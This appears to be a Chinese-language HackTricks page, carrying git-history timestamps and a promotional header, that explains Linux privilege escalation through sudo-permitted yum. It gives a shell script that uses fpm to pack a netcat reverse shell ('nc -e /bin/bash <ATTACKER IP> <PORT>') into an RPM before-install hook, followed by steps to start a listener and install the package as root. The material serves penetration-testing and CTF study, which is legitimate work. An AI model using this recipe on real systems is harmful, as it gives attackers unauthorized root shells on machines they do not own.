hacktricks/linux-unix/privilege-escalation/exploiting-yum.md

41 lines
2.5 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持HackTricks的其他方式
2022-04-28 16:01:33 +00:00
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>
在[gtfobins](https://gtfobins.github.io/gtfobins/yum/)上还可以找到有关yum的更多示例。
2020-11-26 04:33:08 +00:00
# 通过RPM软件包执行任意命令
2023-08-03 19:12:22 +00:00
## 检查环境
为了利用这个向量用户必须能够以更高权限的用户即root身份执行yum命令。
2020-11-26 04:33:08 +00:00
2023-08-03 19:12:22 +00:00
### 这个向量的一个工作示例
这个漏洞的一个工作示例可以在[tryhackme](https://tryhackme.com)的[daily bugle](https://tryhackme.com/room/dailybugle)房间中找到。
2020-11-26 04:33:08 +00:00
2023-08-03 19:12:22 +00:00
## 打包一个RPM
在接下来的部分中,我将介绍如何使用[fpm](https://github.com/jordansissel/fpm)将一个反向shell打包到一个RPM中。
2020-11-26 04:33:08 +00:00
下面的示例创建了一个包其中包含一个带有任意脚本的before-install触发器攻击者可以自行定义。安装时此软件包将执行任意命令。我使用了一个简单的反向netcat shell示例进行演示但可以根据需要进行更改。
2020-11-26 04:33:08 +00:00
```text
EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
```
# 获取shell
使用上述示例,假设`yum`可以作为一个具有更高权限的用户执行。
2020-11-26 04:33:08 +00:00
1. **传输**rpm到主机
2. **在本地主机上启动**监听器,例如[示例netcat监听器](/shells/shells/linux#netcat)
3. **安装**受影响的软件包`yum localinstall -y exploited-1.0-1.noarch.rpm`